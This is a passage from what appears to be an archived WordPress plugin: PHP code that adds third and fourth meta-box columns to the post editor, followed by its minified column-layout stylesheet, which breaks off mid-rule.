	This program is free software; you can redistribute it and/or modify
	it under the terms of the GNU General Public License, version 2, as 
	published by the Free Software Foundation.
	
	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.
*/

if (!class_exists('Three_Column_Screen_Layout')) {
	class Three_Column_Screen_Layout {

		public function __construct() {
			register_activation_hook(__FILE__, array($this, 'activate'));
			register_deactivation_hook(__FILE__, array($this, 'deactivate'));
			if (function_exists('get_bloginfo') && version_compare(get_bloginfo('version'), '3.4') >= 0) {
				global $pagenow;
				if (is_admin() && in_array($pagenow, array('post.php', 'post-new.php'))) {
					add_action('admin_head', array($this, 'admin_head'));
					add_action('admin_footer', array($this, 'admin_footer'));
					add_action('admin_enqueue_scripts', array($this, 'admin_scripts'));
				}
			}
		}
		
		public function activate() {
			global $wpdb;
			if ($wpdb->get_results(sprintf("SELECT * FROM %s WHERE option_name = '_site_transient_update_plugins' AND option_value LIKE '%%three-column-screen-layout%%';", $wpdb->options))) {
				$wpdb->query(sprintf("UPDATE %s SET meta_value = replace(meta_value, 's:8:\"advanced\"', 's:5:\"side3\"') WHERE meta_key LIKE 'meta-box-order_%%';", $wpdb->usermeta));
			}
		}
		
		public function deactivate() {
			global $wpdb;
			$wpdb->query(sprintf("UPDATE %s SET meta_value = replace(meta_value, 's:5:\"side3\"', 's:6:\"normal\"'), meta_value = replace(meta_value, 's:5:\"side4\"', 's:6:\"normal\"') WHERE meta_key LIKE 'meta-box-order_%%';", $wpdb->usermeta));
		}
		
		public function admin_head() {
			ob_start();
			add_screen_option('layout_columns', array('max'=>24, 'default'=>2));
		}
		
		public function admin_footer() {
			$this->splice_columns(ob_get_clean());
		}
		
		public function admin_scripts() {
			wp_enqueue_style('Three_Column_Screen_Layout-style', plugins_url('/style.min.css?v=4.2', __FILE__));
		}

		protected function create_metabox($i) {
			global $post_type;
			global $post;
			ob_start();
			$name = sprintf('side%d', $i);
			do_action('do_meta_boxes', $post_type, $name, $post);
			do_meta_boxes($post_type, $name, $post);
			return sprintf('<div id="postbox-container-%d" class="postbox-container">%s</div>', $i, ob_get_clean());
		}
		
		protected function splice_columns($content) {
			$pref_start = 		strpos($content, 'class="screen-layout"');
			$pref_end = 		strpos($content, 'id="screenoptionnonce"', $pref_start);
			$postbody_start = 	strpos($content, 'id="post-body"', $pref_start);
			$columns_start = 	strpos($content, 'metabox-holder columns-', $postbody_start) + 23;
			$container_start = 	strpos($content, '<div id="postbox-container-2"', $postbody_start);
			
			if ($pref_start && $pref_end && $postbody_start && $columns_start && $container_start) {
				$pref_old = substr($content, $pref_start, $pref_end - $pref_start);
				$pref_val = preg_match("/value='(\d+)'[\r\n\s]+checked/", $pref_old, $matches) ? $matches[1] : 2;
				$pref_new = preg_replace('/(>)[^<]*(<label)/', '$1$2', $pref_old);
				$pref_new = preg_replace('/(\/>)[\r\n\s]+[^<]*[\s]+(<\/label>)\s*/', '$1<span class="columns-prefs-icon"></span>$2', $pref_new);
				
				if ($pref_new != $pref_old) {
					$content = substr_replace($content, $this->create_metabox(3).$this->create_metabox(4), $container_start, 0);
					$content = substr_replace($content, $pref_val, $columns_start, 1);
					$content = substr_replace($content, $pref_new, $pref_start, $pref_end - $pref_start);
				}
			}
			echo $content;
		}
	}
	
	$Three_Column_Screen_Layout = new Three_Column_Screen_Layout();
}
?>style.min.css000064400000072245147510612050007213 0ustar00.columns-prefs label{display:inline-block!important;position:relative;width:26px;height:26px;margin:0 0 8px 0}.columns-prefs label:hover .columns-prefs-icon{opacity:0.35}.columns-prefs label input{visibility:hidden}.columns-prefs label input:checked + .columns-prefs-icon{opacity:0.5}.columns-prefs .columns-prefs-icon{background:url(icons.png?v=4.2);width:26px;height:26px;position:absolute;left:0;border:1px solid #000;border-radius:2px;transition:opacity 0.1s;opacity:0.2}.columns-prefs-1 .columns-prefs-icon{background-position:0 0}.columns-prefs-2 .columns-prefs-icon{background-position:-26px 0}.columns-prefs-3 .columns-prefs-icon{background-position:-52px 0}.columns-prefs-4 .columns-prefs-icon{background-position:-78px 0}.columns-prefs-5 .columns-prefs-icon{background-position:-104px 0}.columns-prefs-6 .columns-prefs-icon{background-position:-130px 0}.columns-prefs-7 .columns-prefs-icon{background-position:-156px 0}.columns-prefs-8 .columns-prefs-icon{background-position:-182px 0}.columns-prefs-9 .columns-prefs-icon{background-position:-208px 0}.columns-prefs-10 .columns-prefs-icon{background-position:-234px 0}.columns-prefs-11 .columns-prefs-icon{background-position:-260px 0}.columns-prefs-12 .columns-prefs-icon{background-position:-286px 0}.columns-prefs-13 .columns-prefs-icon{background-position:-312px 0}.columns-prefs-14 .columns-prefs-icon{background-position:-338px 0}.columns-prefs-15 .columns-prefs-icon{background-position:-364px 0}.columns-prefs-16 .columns-prefs-icon{background-position:-390px 0}.columns-prefs-17 .columns-prefs-icon{background-position:-416px 0}.columns-prefs-18 .columns-prefs-icon{background-position:-442px 0}.columns-prefs-19 .columns-prefs-icon{background-position:-468px 0}.columns-prefs-20 .columns-prefs-icon{background-position:-494px 0}.columns-prefs-21 .columns-prefs-icon{background-position:-520px 0}.columns-prefs-22 .columns-prefs-icon{background-position:-546px 0}.columns-prefs-23 .columns-prefs-icon{background-position:-572px 0}.columns-prefs-24 .columns-prefs-icon{background-position:-598px 0}#post-body{min-width:280px}#post-body #post-body-content{min-width:300px!important}#post-body #normal-sortables{min-height:32px;min-width:280px}#post-body #side-sortables{min-height:32px;min-width:280px}#post-body #side3-sortables{min-height:32px;min-width:280px}#post-body #side4-sortables{min-height:32px;min-width:280px}#post-body #postbox-container-1,#post-body #postbox-container-2,#post-body #postbox-container-3,#post-body #postbox-container-4,#post-body #side-sortables,#post-body #side3-sortables,#post-body #side4-sortables,#post-body #normal-sortables{margin-left:0;margin-right:0}#post-body.columns-2{margin-right:300px;margin-left:0}#post-body.columns-2 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-2 #side-sortables{margin-left:20px}#post-body.columns-3{margin-right:300px;margin-left:0}#post-body.columns-3 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-3 #side-sortables{margin-left:20px}#post-body.columns-4{margin-right:300px;margin-left:0}#post-body.columns-4 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-4 #side-sortables{margin-left:20px}#post-body.columns-5{margin-right:300px;margin-left:0}#post-body.columns-5 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-5 #side-sortables{margin-left:20px}#post-body.columns-6{margin-right:300px;margin-left:0}#post-body.columns-6 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-6 #side-sortables{margin-left:20px}#post-body.columns-7{margin-right:300px;margin-left:0}#post-body.columns-7 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-7 #side-sortables{margin-left:20px}#post-body.columns-8{margin-right:300px;margin-left:0}#post-body.columns-8 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-8 #side-sortables{margin-left:20px}#post-body.columns-9{margin-right:300px;margin-left:0}#post-body.columns-9 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-9 #side-sortables{margin-left:20px}#post-body.columns-10{margin-right:300px;margin-left:0}#post-body.columns-10 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-10 #side-sortables{margin-left:20px}#post-body.columns-11{margin-right:300px;margin-left:0}#post-body.columns-11 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-11 #side-sortables{margin-left:20px}#post-body.columns-12{margin-right:300px;margin-left:0}#post-body.columns-12 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-12 #side-sortables{margin-left:20px}#post-body.columns-13{margin-right:300px;margin-left:0}#post-body.columns-13 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-13 #side-sortables{margin-left:20px}#post-body.columns-14{margin-right:300px;margin-left:0}#post-body.columns-14 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-14 #side-sortables{margin-left:20px}#post-body.columns-15{margin-right:300px;margin-left:0}#post-body.columns-15 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-15 #side-sortables{margin-left:20px}#post-body.columns-16{margin-right:300px;margin-left:0}#post-body.columns-16 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-16 #side-sortables{margin-left:20px}#post-body.columns-17{margin-right:300px;margin-left:0}#post-body.columns-17 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-17 #side-sortables{margin-left:20px}#post-body.columns-18{margin-right:300px;margin-left:0}#post-body.columns-18 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-18 #side-sortables{margin-left:20px}#post-body.columns-19{margin-right:300px;margin-left:0}#post-body.columns-19 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-19 #side-sortables{margin-left:20px}#post-body.columns-20{margin-right:300px;margin-left:0}#post-body.columns-20 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-20 #side-sortables{margin-left:20px}#post-body.columns-21{margin-right:300px;margin-left:0}#post-body.columns-21 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-21 #side-sortables{margin-left:20px}#post-body.columns-22{margin-right:300px;margin-left:0}#post-body.columns-22 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-22 #side-sortables{margin-left:20px}#post-body.columns-23{margin-right:300px;margin-left:0}#post-body.columns-23 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-23 #side-sortables{margin-left:20px}#post-body.columns-24{margin-right:300px;margin-left:0}#post-body.columns-24 #postbox-container-1{float:right;margin-right:-300px;width:300px}#post-body.columns-24 #side-sortables{margin-left:20px}#post-body #content_toolbargroup #content_toolbar1 > tbody,#post-body #content_toolbargroup #content_toolbar2 > tbody{white-space:normal}#post-body #content_toolbargroup #content_toolbar1 > tbody > tr > td,#post-body #content_toolbargroup #content_toolbar2 > tbody > tr > td{float:left;min-height:28px}@media screen and (min-width:822px){#post-body.columns-2{margin-right:300px}#post-body.columns-2 #postbox-container-1{width:300px;margin-right:-300px}#post-body.columns-2 #side-sortables{margin-left:20px}#post-body.columns-3{margin-right:50%}#post-body.columns-3 #postbox-container-1{width:100%;margin-right:-100%}#post-body.columns-3 #side-sortables{margin-left:20px}}@media screen and (min-width:1122px){#post-body.columns-4{margin-right:600px}#post-body.columns-4 #postbox-container-1{margin-right:-600px}#post-body.columns-4 #postbox-container-3{float:right;width:300px;margin-right:-300px}#post-body.columns-4 #side3-sortables{margin-left:20px}#post-body.columns-6{margin-right:66.6666%}#post-body.columns-6 #postbox-container-1{width:100%;margin-right:-200%}#post-body.columns-6 #postbox-container-3{float:right;width:100%;margin-right:-100%}#post-body.columns-6 #side3-sortables{margin-left:20px}#post-body.columns-12 #side3-sortables,#post-body.columns-15 #side4-sortables{margin-right:300px}#post-body.columns-12 #postbox-container-4,#post-body.columns-15 #postbox-container-2{width:300px;margin-left:-300px}#post-body.columns-12 #side4-sortables,#post-body.columns-15 #normal-sortables{margin-left:20px}#post-body.columns-13 #side3-sortables,#post-body.columns-16 #side4-sortables{margin-right:10px}#post-body.columns-13 #side4-sortables,#post-body.columns-16 #normal-sortables{margin-left:10px}#post-body.columns-13 #postbox-container-3,#post-body.columns-16 #postbox-container-4{width:50%}#post-body.columns-13 #postbox-container-4,#post-body.columns-16 #postbox-container-2{margin-right:-50%;width:50%}#post-body.columns-14 #side4-sortables,#post-body.columns-17 #normal-sortables{margin-right:300px}#post-body.columns-14 #postbox-container-3,#post-body.columns-17 #postbox-container-4{width:300px}#post-body.columns-14 #postbox-container-4,#post-body.columns-17 #postbox-container-2{margin-right:-300px}#post-body.columns-14 #side3-sortables,#post-body.columns-17 #side4-sortables{margin-right:20px}}@media screen and (min-width:1422px){#post-body.columns-5{margin-right:50%}#post-body.columns-5 #postbox-container-1{margin-right:-100%}#post-body.columns-5 #postbox-container-3{float:right;width:100%;margin-right:-100%}#post-body.columns-5 #side3-sortables{margin-right:300px;margin-left:20px}#post-body.columns-7{margin-right:900px}#post-body.columns-7 #postbox-container-1{margin-right:-900px}#post-body.columns-7 #postbox-container-3{float:right;width:300px;margin-right:-600px}#post-body.columns-7 #postbox-container-4{float:right;width:300px;margin-right:-300px}#post-body.columns-7 #side3-sortables,#post-body.columns-7 #side4-sortables{margin-left:20px}#post-body.columns-9{margin-right:75%}#post-body.columns-9 #postbox-container-1{width:100%;margin-right:-300%}#post-body.columns-9 #postbox-container-3{float:right;width:100%;margin-right:-200%}#post-body.columns-9 #postbox-container-4{float:right;width:100%;margin-right:-100%}#post-body.columns-9 #side3-sortables,#post-body.columns-9 #side4-sortables{margin-left:20px}#post-body.columns-18 #side3-sortables{margin-right:600px}#post-body.columns-18 #postbox-container-2{width:300px;margin-left:-300px}#post-body.columns-18 #postbox-container-4{width:300px;margin-left:-600px}#post-body.columns-18 #normal-sortables,#post-body.columns-18 #side4-sortables{margin-left:20px}#post-body.columns-19 #side4-sortables{margin-left:600px}#post-body.columns-19 #side3-sortables{margin-right:20px}#post-body.columns-19 #normal-sortables{margin-left:20px}#post-body.columns-19 #postbox-container-3,#post-body.columns-19 #postbox-container-2{width:300px}#post-body.columns-19 #postbox-container-4{margin-left:-600px}#post-body.columns-20 #normal-sortables{margin-left:600px}#post-body.columns-20 #postbox-container-3,#post-body.columns-20 #postbox-container-4{width:300px}#post-body.columns-20 #postbox-container-2{margin-left:-600px}#post-body.columns-20 #side3-sortables,#post-body.columns-20 #side4-sortables{margin-right:20px}#post-body.columns-21 #side4-sortables,#post-body.columns-21 #normal-sortables{margin-left:20px}#post-body.columns-21 #postbox-container-4,#post-body.columns-21 #postbox-container-3,#post-body.columns-21 #postbox-container-2{width:33.3333%}#post-body.columns-22 #side4-sortables{margin-right:300px}#post-body.columns-22 #postbox-container-2{width:300px;margin-left:-300px}#post-body.columns-22 #normal-sortables{margin-left:20px}#post-body.columns-23 #side4-sortables{margin-right:10px}#post-body.columns-23 #normal-sortables{margin-left:10px}#post-body.columns-23 #postbox-container-4{width:50%}#post-body.columns-23 #postbox-container-2{margin-right:-50%;width:50%}#post-body.columns-24 #normal-sortables{margin-right:300px}#post-body.columns-24 #postbox-container-4{width:300px}#post-body.columns-24 #postbox-container-2{margin-right:-300px}#post-body.columns-24 #side4-sortables{margin-right:20px}#post-body.columns-22,#post-body.columns-23,#post-body.columns-24{margin-right:600px}#post-body.columns-22 #postbox-container-1,#post-body.columns-23 #postbox-container-1,#post-body.columns-24 #postbox-container-1{margin-right:-600px}#post-body.columns-22 #postbox-container-3,#post-body.columns-23 #postbox-container-3,#post-body.columns-24 #postbox-container-3{float:right;width:300px;margin-right:-300px}#post-body.columns-22 #side3-sortables,#post-body.columns-23 #side3-sortables,#post-body.columns-24 #side3-sortables{margin-left:20px}}@media screen and (min-width:1722px){#post-body.columns-8{margin-right:66.6666%}#post-body.columns-8 #postbox-container-1{margin-right:-200%}#post-body.columns-8 #postbox-container-3{float:right;width:300px;margin-right:-200%}#post-body.columns-8 #postbox-container-4{float:right;width:200%;margin-right:-200%}#post-body.columns-8 #side3-sortables{margin-left:-280px;margin-right:320px}#post-body.columns-8 #side4-sortables{margin-right:600px;margin-left:20px}#post-body.columns-10{margin-right:1200px}#post-body.columns-10 #postbox-container-1{margin-right:-1200px}#post-body.columns-10 #postbox-container-2{float:right;width:300px;margin-right:-300px}#post-body.columns-10 #postbox-container-3{float:right;width:300px;margin-right:-900px}#post-body.columns-10 #postbox-container-4{float:right;width:300px;margin-right:-600px}#post-body.columns-10 #side3-sortables,#post-body.columns-10 #side4-sortables,#post-body.columns-10 #normal-sortables{margin-left:20px}#post-body.columns-11{margin-right:80%}#post-body.columns-11 #postbox-container-1{width:100%;margin-right:-400%}#post-body.columns-11 #postbox-container-2{float:right;width:100%;margin-right:-100%}#post-body.columns-11 #postbox-container-3{float:right;width:100%;margin-right:-300%}#post-body.columns-11 #postbox-container-4{float:right;width:100%;margin-right:-200%}#post-body.columns-11 #side3-sortables,#post-body.columns-11 #side4-sortables,#post-body.columns-11 #normal-sortables{margin-left:20px}}.rtl .columns-prefs label{display:inline-block!important;position:relative;width:26px;height:26px;margin:0 0 8px 0}.rtl .columns-prefs label:hover .columns-prefs-icon{opacity:0.35}.rtl .columns-prefs label input{visibility:hidden}.rtl .columns-prefs label input:checked + .columns-prefs-icon{opacity:0.5}.rtl .columns-prefs .columns-prefs-icon{background:url(icons.png?v=4.2);width:26px;height:26px;position:absolute;left:0;border:1px solid #000;border-radius:2px;transition:opacity 0.1s;opacity:0.2}.rtl .columns-prefs-1 .columns-prefs-icon{background-position:-1222px 0}.rtl .columns-prefs-2 .columns-prefs-icon{background-position:-1196px 0}.rtl .columns-prefs-3 .columns-prefs-icon{background-position:-1170px 0}.rtl .columns-prefs-4 .columns-prefs-icon{background-position:-1144px 0}.rtl .columns-prefs-5 .columns-prefs-icon{background-position:-1118px 0}.rtl .columns-prefs-6 .columns-prefs-icon{background-position:-1092px 0}.rtl .columns-prefs-7 .columns-prefs-icon{background-position:-1066px 0}.rtl .columns-prefs-8 .columns-prefs-icon{background-position:-1040px 0}.rtl .columns-prefs-9 .columns-prefs-icon{background-position:-1014px 0}.rtl .columns-prefs-10 .columns-prefs-icon{background-position:-988px 0}.rtl .columns-prefs-11 .columns-prefs-icon{background-position:-962px 0}.rtl .columns-prefs-12 .columns-prefs-icon{background-position:-936px 0}.rtl .columns-prefs-13 .columns-prefs-icon{background-position:-910px 0}.rtl .columns-prefs-14 .columns-prefs-icon{background-position:-884px 0}.rtl .columns-prefs-15 .columns-prefs-icon{background-position:-858px 0}.rtl .columns-prefs-16 .columns-prefs-icon{background-position:-832px 0}.rtl .columns-prefs-17 .columns-prefs-icon{background-position:-806px 0}.rtl .columns-prefs-18 .columns-prefs-icon{background-position:-780px 0}.rtl .columns-prefs-19 .columns-prefs-icon{background-position:-754px 0}.rtl .columns-prefs-20 .columns-prefs-icon{background-position:-728px 0}.rtl .columns-prefs-21 .columns-prefs-icon{background-position:-702px 0}.rtl .columns-prefs-22 .columns-prefs-icon{background-position:-676px 0}.rtl .columns-prefs-23 .columns-prefs-icon{background-position:-650px 0}.rtl .columns-prefs-24 .columns-prefs-icon{background-position:-624px 0}.rtl #post-body{min-width:280px}.rtl #post-body #post-body-content{min-width:300px!important}.rtl #post-body #normal-sortables{min-height:32px;min-width:280px}.rtl #post-body #side-sortables{min-height:32px;min-width:280px}.rtl #post-body #side3-sortables{min-height:32px;min-width:280px}.rtl #post-body #side4-sortables{min-height:32px;min-width:280px}.rtl #post-body #postbox-container-1,.rtl #post-body #postbox-container-2,.rtl #post-body #postbox-container-3,.rtl #post-body #postbox-container-4,.rtl #post-body #side-sortables,.rtl #post-body #side3-sortables,.rtl #post-body #side4-sortables,.rtl #post-body #normal-sortables{margin-right:0;margin-left:0}.rtl #post-body.columns-2{margin-left:300px;margin-right:0}.rtl #post-body.columns-2 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-2 #side-sortables{margin-right:20px}.rtl #post-body.columns-3{margin-left:300px;margin-right:0}.rtl #post-body.columns-3 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-3 #side-sortables{margin-right:20px}.rtl #post-body.columns-4{margin-left:300px;margin-right:0}.rtl #post-body.columns-4 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-4 #side-sortables{margin-right:20px}.rtl #post-body.columns-5{margin-left:300px;margin-right:0}.rtl #post-body.columns-5 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-5 #side-sortables{margin-right:20px}.rtl #post-body.columns-6{margin-left:300px;margin-right:0}.rtl #post-body.columns-6 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-6 #side-sortables{margin-right:20px}.rtl #post-body.columns-7{margin-left:300px;margin-right:0}.rtl #post-body.columns-7 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-7 #side-sortables{margin-right:20px}.rtl #post-body.columns-8{margin-left:300px;margin-right:0}.rtl #post-body.columns-8 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-8 #side-sortables{margin-right:20px}.rtl #post-body.columns-9{margin-left:300px;margin-right:0}.rtl #post-body.columns-9 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-9 #side-sortables{margin-right:20px}.rtl #post-body.columns-10{margin-left:300px;margin-right:0}.rtl #post-body.columns-10 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-10 #side-sortables{margin-right:20px}.rtl #post-body.columns-11{margin-left:300px;margin-right:0}.rtl #post-body.columns-11 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-11 #side-sortables{margin-right:20px}.rtl #post-body.columns-12{margin-left:300px;margin-right:0}.rtl #post-body.columns-12 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-12 #side-sortables{margin-right:20px}.rtl #post-body.columns-13{margin-left:300px;margin-right:0}.rtl #post-body.columns-13 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-13 #side-sortables{margin-right:20px}.rtl #post-body.columns-14{margin-left:300px;margin-right:0}.rtl #post-body.columns-14 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-14 #side-sortables{margin-right:20px}.rtl #post-body.columns-15{margin-left:300px;margin-right:0}.rtl #post-body.columns-15 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-15 #side-sortables{margin-right:20px}.rtl #post-body.columns-16{margin-left:300px;margin-right:0}.rtl #post-body.columns-16 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-16 #side-sortables{margin-right:20px}.rtl #post-body.columns-17{margin-left:300px;margin-right:0}.rtl #post-body.columns-17 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-17 #side-sortables{margin-right:20px}.rtl #post-body.columns-18{margin-left:300px;margin-right:0}.rtl #post-body.columns-18 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-18 #side-sortables{margin-right:20px}.rtl #post-body.columns-19{margin-left:300px;margin-right:0}.rtl #post-body.columns-19 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-19 #side-sortables{margin-right:20px}.rtl #post-body.columns-20{margin-left:300px;margin-right:0}.rtl #post-body.columns-20 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-20 #side-sortables{margin-right:20px}.rtl #post-body.columns-21{margin-left:300px;margin-right:0}.rtl #post-body.columns-21 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-21 #side-sortables{margin-right:20px}.rtl #post-body.columns-22{margin-left:300px;margin-right:0}.rtl #post-body.columns-22 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-22 #side-sortables{margin-right:20px}.rtl #post-body.columns-23{margin-left:300px;margin-right:0}.rtl #post-body.columns-23 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-23 #side-sortables{margin-right:20px}.rtl #post-body.columns-24{margin-left:300px;margin-right:0}.rtl #post-body.columns-24 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-24 #side-sortables{margin-right:20px}.rtl #post-body #content_toolbargroup #content_toolbar1 > tbody,.rtl #post-body #content_toolbargroup #content_toolbar2 > tbody{white-space:normal}.rtl #post-body #content_toolbargroup #content_toolbar1 > tbody > tr > td,.rtl #post-body #content_toolbargroup #content_toolbar2 > tbody > tr > td{float:right;min-height:28px}@media screen and (min-width:822px){.rtl #post-body.columns-2{margin-left:300px}.rtl #post-body.columns-2 #postbox-container-1{width:300px;margin-left:-300px}.rtl #post-body.columns-2 #side-sortables{margin-right:20px}.rtl #post-body.columns-3{margin-left:50%}.rtl #post-body.columns-3 #postbox-container-1{width:100%;margin-left:-100%}.rtl #post-body.columns-3 #side-sortables{margin-right:20px}}@media screen and (min-width:1122px){.rtl #post-body.columns-4{margin-left:600px}.rtl #post-body.columns-4 #postbox-container-1{margin-left:-600px}.rtl #post-body.columns-4 #postbox-container-3{float:left;width:300px;margin-left:-300px}.rtl #post-body.columns-4 #side3-sortables{margin-right:20px}.rtl #post-body.columns-6{margin-left:66.6666%}.rtl #post-body.columns-6 #postbox-container-1{width:100%;margin-left:-200%}.rtl #post-body.columns-6 #postbox-container-3{float:left;width:100%;margin-left:-100%}.rtl #post-body.columns-6 #side3-sortables{margin-right:20px}.rtl #post-body.columns-12 #side3-sortables,.rtl #post-body.columns-15 #side4-sortables{margin-left:300px}.rtl #post-body.columns-12 #postbox-container-4,.rtl #post-body.columns-15 #postbox-container-2{width:300px;margin-right:-300px}.rtl #post-body.columns-12 #side4-sortables,.rtl #post-body.columns-15 #normal-sortables{margin-right:20px}.rtl #post-body.columns-13 #side3-sortables,.rtl #post-body.columns-16 #side4-sortables{margin-left:10px}.rtl #post-body.columns-13 #side4-sortables,.rtl #post-body.columns-16 #normal-sortables{margin-right:10px}.rtl #post-body.columns-13 #postbox-container-3,.rtl #post-body.columns-16 #postbox-container-4{width:50%}.rtl #post-body.columns-13 #postbox-container-4,.rtl #post-body.columns-16 #postbox-container-2{margin-left:-50%;width:50%}.rtl #post-body.columns-14 #side4-sortables,.rtl #post-body.columns-17 #normal-sortables{margin-left:300px}.rtl #post-body.columns-14 #postbox-container-3,.rtl #post-body.columns-17 #postbox-container-4{width:300px}.rtl #post-body.columns-14 #postbox-container-4,.rtl #post-body.columns-17 #postbox-container-2{margin-left:-300px}.rtl #post-body.columns-14 #side3-sortables,.rtl #post-body.columns-17 #side4-sortables{margin-left:20px}}@media screen and (min-width:1422px){.rtl #post-body.columns-5{margin-left:50%}.rtl #post-body.columns-5 #postbox-container-1{margin-left:-100%}.rtl #post-body.columns-5 #postbox-container-3{float:left;width:100%;margin-left:-100%}.rtl #post-body.columns-5 #side3-sortables{margin-left:300px;margin-right:20px}.rtl #post-body.columns-7{margin-left:900px}.rtl #post-body.columns-7 #postbox-container-1{margin-left:-900px}.rtl #post-body.columns-7 #postbox-container-3{float:left;width:300px;margin-left:-600px}.rtl #post-body.columns-7 #postbox-container-4{float:left;width:300px;margin-left:-300px}.rtl #post-body.columns-7 #side3-sortables,.rtl #post-body.columns-7 #side4-sortables{margin-right:20px}.rtl #post-body.columns-9{margin-left:75%}.rtl #post-body.columns-9 #postbox-container-1{width:100%;margin-left:-300%}.rtl #post-body.columns-9 #postbox-container-3{float:left;width:100%;margin-left:-200%}.rtl #post-body.columns-9 #postbox-container-4{float:left;width:100%;margin-left:-100%}.rtl #post-body.columns-9 #side3-sortables,.rtl #post-body.columns-9 #side4-sortables{margin-right:20px}.rtl #post-body.columns-18 #side3-sortables{margin-left:600px}.rtl #post-body.columns-18 #postbox-container-2{width:300px;margin-right:-300px}.rtl #post-body.columns-18 #postbox-container-4{width:300px;margin-right:-600px}.rtl #post-body.columns-18 #normal-sortables,.rtl #post-body.columns-18 #side4-sortables{margin-right:20px}.rtl #post-body.columns-19 #side4-sortables{margin-right:600px}.rtl #post-body.columns-19 #side3-sortables{margin-left:20px}.rtl #post-body.columns-19 #normal-sortables{margin-right:20px}.rtl #post-body.columns-19 #postbox-container-3,.rtl #post-body.columns-19 #postbox-container-2{width:300px}.rtl #post-body.columns-19 #postbox-container-4{margin-right:-600px}.rtl #post-body.columns-20 #normal-sortables{margin-right:600px}.rtl #post-body.columns-20 #postbox-container-3,.rtl #post-body.columns-20 #postbox-container-4{width:300px}.rtl #post-body.columns-20 #postbox-container-2{margin-right:-600px}.rtl #post-body.columns-20 #side3-sortables,.rtl #post-body.columns-20 #side4-sortables{margin-left:20px}.rtl #post-body.columns-21 #side4-sortables,.rtl #post-body.columns-21 #normal-sortables{margin-right:20px}.rtl #post-body.columns-21 #postbox-container-4,.rtl #post-body.columns-21 #postbox-container-3,.rtl #post-body.columns-21 #postbox-container-2{width:33.3333%}.rtl #post-body.columns-22 #side4-sortables{margin-left:300px}.rtl #post-body.columns-22 #postbox-container-2{width:300px;margin-right:-300px}.rtl #post-body.columns-22 #normal-sortables{margin-right:20px}.rtl #post-body.columns-23 #side4-sortables{margin-left:10px}.rtl #post-body.columns-23 #normal-sortables{margin-right:10px}.rtl #post-body.columns-23 #postbox-container-4{width:50%}.rtl #post-body.columns-23 #postbox-container-2{margin-left:-50%;width:50%}.rtl #post-body.columns-24 #normal-sortables{margin-left:300px}.rtl #post-body.columns-24 #postbox-container-4{width:300px}.rtl #post-body.columns-24 #postbox-container-2{margin-left:-300px}.rtl #post-body.columns-24 #side4-sortables{margin-left:20px}.rtl #post-body.columns-22,.rtl #post-body.columns-23,.rtl #post-body.columns-24{margin-left:600px}.rtl #post-body.columns-22 #postbox-container-1,.rtl #post-body.columns-23 #postbox-container-1,.rtl #post-body.columns-24 #postbox-container-1{margin-left:-600px}.rtl #post-body.columns-22 #postbox-container-3,.rtl #post-body.columns-23 #postbox-container-3,.rtl #post-body.columns-24 #postbox-container-3{float:left;width:300px;margin-left:-300px}.rtl #post-body.columns-22 #side3-sortables,.rtl #post-body.columns-23 #side3-sortables,.rtl #post-body.columns-24 #side3-sortables{margin-right:20px}}@media screen and (min-width:1722px){.rtl #post-body.columns-8{margin-left:66.6666%}.rtl #post-body.columns-8 #postbox-container-1{margin-left:-200%}.rtl #post-body.columns-8 #postbox-container-3{float:left;width:300px;margin-left:-200%}.rtl #post-body.columns-8 